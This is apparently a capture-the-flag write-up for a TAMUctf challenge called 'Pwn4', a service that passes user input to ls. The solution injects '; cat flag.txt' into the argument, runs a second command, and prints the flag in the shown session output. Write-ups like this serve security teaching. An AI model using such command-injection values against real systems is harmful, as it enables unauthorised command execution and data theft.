Rating:
# Pwn4
Pwn
## Challenge
nc pwn.tamuctf.com 4324
Difficulty: medium
## Solution
Program is simple enough
# ./pwn4
ls as a service (laas)(Copyright pending)
Enter the arguments you would like to pass to ls:
HELLO
Result of ls HELLO:
ls: cannot access 'HELLO': No such file or directory
Try on server
# nc pwn.tamuctf.com 4324
ls as a service (laas)(Copyright pending)
Enter the arguments you would like to pass to ls:
.
Result of ls .:
flag.txt
pwn4
ls as a service (laas)(Copyright pending)
Enter the arguments you would like to pass to ls:
flag.txt
Result of ls flag.txt:
flag.txt
ls as a service (laas)(Copyright pending)
Enter the arguments you would like to pass to ls:
; cat flag.txt
Result of ls ; cat flag.txt:
flag.txt
pwn4
gigem{5y573m_0v3rfl0w}
Flag text indicates that this is the unintended solution.
## Flag
gigem{5y573m_0v3rfl0w}